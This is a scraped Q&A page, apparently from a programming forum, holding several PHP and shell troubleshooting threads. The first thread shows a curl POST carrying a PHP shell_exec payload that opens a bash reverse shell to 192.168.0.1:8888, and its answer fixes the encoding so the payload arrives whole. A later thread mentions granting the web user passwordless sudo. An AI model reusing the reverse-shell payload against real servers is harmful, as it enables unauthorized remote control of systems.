curl -d option truncate data with & symbol - php

I was testing by sending some data using curl -d and retrieve the data in a PHP script using $_POST['data'],
My request is like
curl https://localhost/shell.php -d "data=shell_exec(\"/bin/bash -c '/bin/bash -i >& /dev/tcp/192.168.0.1/8888 0>&1 ' \");"
And the shell.php script is like:
var_dump($_POST['data']);
However, the output is truncated, I am only able to get:
shell_exec(\"/bin/bash -c '/bin/bash -i >
from $_POST['data'].

Can you try and escape \&
Like curl https://localhost/shell.php -d "data=shell_exec("/bin/bash -c '/bin/bash -i >\& /dev/tcp/192.168.0.1/8888 0>&1 ' ");"
?

The Cause
After doing some research, i think i find the root cause of this problem.
First, we have to understand some basic workflow of PHP runtime. When a http request is sent to fast-cgi, the workflow looks like below:
Some preprocess(i didn't research too much in this step)
Post request processed vim a bunch module:
cgi_main
SAPI
Some other code
PHP String Process
We can also find that there is a page about PHP default configuration and we can figure out that & is the default arg separator for input parameter.
According to all the information we have so far, we can conclude PHP runtime will receive the post data sent by curl and parse it automatically and during the process it will split parameter string based on the default separator.
In my case, if i sent the post request with -d, the & was not encoded and thus the data will be truncated by PHP at the first occurrence of &, which cause the following command to be abandoned.
The Solution
Use --data-url-encode instead of -d
curl https://localhost/shell.php --data-urlencode "data=shell_exec(\"/bin/bash -c '/bin/bash -i >& /dev/tcp/192.168.0.1/8888 0>&1 ' \");"
Note
Some times we see something like PG, SG and EG. They are PHP common macros from:
PHP
ZEND
SAPI

Related

how to assign the mosquitto_sub output to a variable using php exec?

in my publisher, I tried something like
$msg = '{"test":"a","test2":"b"}';
$publishCommand = "mosquitto_pub -h IP_ADDRESS_HERE -t TOPIC_HERE -m $msg";
exec($publishCommand);
that snippet above works.
because when I tried manually in the server this snippet below, i can see the json string output
mosquitto_sub -h 127.0.0.1 -t TOPIC_HERE -i 'ID_HERE'
however when I tried using that snippet above in PHP, in order for me to assign the output to a variable and be able to json_decode the data, it doesn't work at all, I cannot get the output with this snippet below
exec("mosquitto_sub -h 127.0.0.1 -t TOPIC_HERE -i 'ID_HERE'", $output);
print_r($output);
NOR with this one
exec("mosquitto_sub -h 127.0.0.1 -t TOPIC_HERE -i 'ID_HERE' 2>&1", $output);
print_r($output);
NOR with this one
exec("/usr/bin/mosquitto_sub -h 127.0.0.1 -t TOPIC_HERE -i 'ID_HERE'", $output);
print_r($output);
I also tried using the passthru OR system , but both of this are immediately displaying the output and I am not able to assign the output to a variable
even after using ob_* series of functions e.g ob_start, ob_get_contents and etc...
Your problem here is most likely because mosquitto_sub will never exit.
By default mosquitto_sub runs for ever printing out every message that it published to a matching topic. In order to get the output you need mosquitto_sub to return and close it's handle on stdout.
mosquitto_sub can be told how many messages to wait for before it exits with the -C option. From the man page:
-C
Disconnect and exit the program immediately after the given count of
messages have been received. This may be useful in shell scripts where
on a single status value is required, for example.
If you want to subscribe to MQTT topics from PHP I suggest you have look at a native PHP client. There is a list here

PHP exec() works in command line but not in web

I'm trying to use jarun's "googler" in a PHP script in order to search YouTube and find the URL of the first result. The command I'm executing is googler --np --json -C -n 1 -w youtube.com -x <name of youtube video>, and it works perfectly on my local machine. Here is my code:
<?php
exec("googler --np --json -C -n 1 -w youtube.com -x thomas the dank engine", $results);
var_dump($results);
?>
When I execute this in the command line, it works perfectly as it should, but when I do it via a web browser or a GET request, it does not work. I am aware that it is being executed as another user. In my case, it's the user www-data, so I gave that user full sudo permissions without a password, and did the following commands:
sudo -u pi googler --np --json -C -n 1 -w youtube.com -x thomas the dank engine
as well as
su - pi -c 'googler --np --json -C -n 1 -w youtube.com -x thomas the dank engine'
neither of these worked. Does it have to do with googler? What am I doing wrong?
When adding 2>&1 to the command, I get the following error message:
stdout encoding 'ascii' detected. googler requires utf-8 to work properly. The wrong encoding may be due to a non-UTF-8 locale or an improper PYTHONIOENCODING. (For the record, your locale language is and locale encoding is ; your PYTHONIOENCODING is not set.) Please set a UTF-8 locale (e.g., en_US.UTF-8) or set PYTHONIOENCODING to utf-8.
Try putting:
putenv("PYTHONIOENCODING=utf-8");
in the script before calling exec(). googler apparently requires the locale or this environment variable to be set.
You must remove exec from the disable_functions parameter in the php.ini file for your server module installation of PHP (which is separate from your CLI installation). It is typically disabled by default for the server module.

Cronjob linux server logging

I have some cronjobs running on my linux server. These cronjobs are just executing some PHP scripts. What I want to do is to log any possible outputs these scripts would have given.
I want to use the output as given by the command:
wget -O /logs/logfile /pathofthefolder/script.php
The problem is that this command overwrites the previous logfile, thus the logfile only contains the output of the last execution, which is kinda useless for logging.
I tried adding an -a for appending instead of overwriting, but that didn't work.
I also tried with only an -a like this:
wget -a /logs/logfile http://example.com/script.php
But also that didn't work, I get the information of the download in the logfile as such:
-2014-05-27 21:41:01-- http://example.com/script.php
Resolving example.com (example.com)... [ip address of my site]
Connecting to example.com (example.com)|[ip address of my site]|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: `script.php.4'
0K
So the information of the HTTP request is being stored in the logfile, and the output of every request is saved in a seperate file with increasing numbers, script.php.1, script.php.2 and so on. Which isn't quite what I want, I'd prefer to have it all in one file, I don't need the HTTP info.
Update:
So I know that it would be easier via the php or lynx command, but those commands are not installed on the server. I'm kinda stuck with the wget.
You can use this:
wget -qO- "http://example.com/script.php?parameter=value&extraparam=othervalue" >> /logs/logfile
You might want to try rewriting your cronjobs to use the php interpreter instead of wget:
php -f /path/to/file
This will execute a local (!) php file and write the output to command line.
You can easily redirect this output to apppend to a file:
php -f /path/to/file >> /logs/logfile
(to overwrite instead of append, use a single >)
If you need the error messages as well, you need to redirect both stdout and stderr:
php -f /path/to/file >> /logs/logfile 2>&1
In case you don't have/cannot install the php executable, you can use (if installed) curl to get a similar result as with wget (see other answers):
curl http://localhost/your/file.php >> /logs/logfile

php.exe script parameters in batch file

I'm trying to execute a PHP script on Windows through php.exe, while passing parameters to the script. Everywhere I look, it says it should work like this:
php -f "path\to\my\script.php" -- -t 10 -i 5
The -t 10 -i 5 should be passed to script.php, where I can access them through $argv. When I type this in on the command line, everything runs as expected. When I paste the very same line in a .cmd file, the part after script.php gets treated as a seperate command. (and yes, it is a single line in the batch file)
C:\>php -f "path\to\my\script.php" -- -t 10 -i 5
<<<output of the php script as expected>>>
C:\>mybatch.cmd
C:\>php -f "path\to\my\script.php"
<<<output of the php script not receiving the parameters>>>
C:\>-- -t 10 -i 5
'--' is not recognized as an internal or external command, operable program or batch file.
I first thought it might be a problem with the --, but even if I leave out the -- (basically passing the other parameters to php.exe instead of to the script), the same problem occurs.
Any ideas on why this is happening?
Found the problem, appearantly there was a linefeed after the filename of the script, but that was not visible in notepad. No idea how it got there (probably copy/paste related), but removing it fixed the problem.

php cli on linux not working

PHP CLI has suddently stopped working on the server. When running any php file even php -v to get php version I get following error.
Thanks
# php -v
Unknown option: v
php [-f from_encoding] [-t to_encoding] [-s string] [files...]
php -l
php -r encoding_alias
-l,--list
lists all available encodings
-r,--resolve encoding_alias
resolve encoding to its (Encode) canonical name
-f,--from from_encoding
when omitted, the current locale will be used
-t,--to to_encoding
when omitted, the current locale will be used
-s,--string string
"string" will be the input instead of STDIN or files
The following are mainly of interest to Encode hackers:
-D,--debug show debug information
-C N | -c | -p check the validity of the input
-S,--scheme scheme use the scheme for conversion
Type which php on your shell to find which php executable your shell picks from your search PATH.
Use ls -l $(which php) to see if it's a symlink to some other executable.
What you see when running php -v is actually output of the piconv command.
Most possibly, there is a symlink named php pointing to piconv somewhere in your search PATH.
Type echo $PATH to see the order of directories in which your shell searches for an executable php.
EDIT:
Changed whereis to which in the command above.

Categories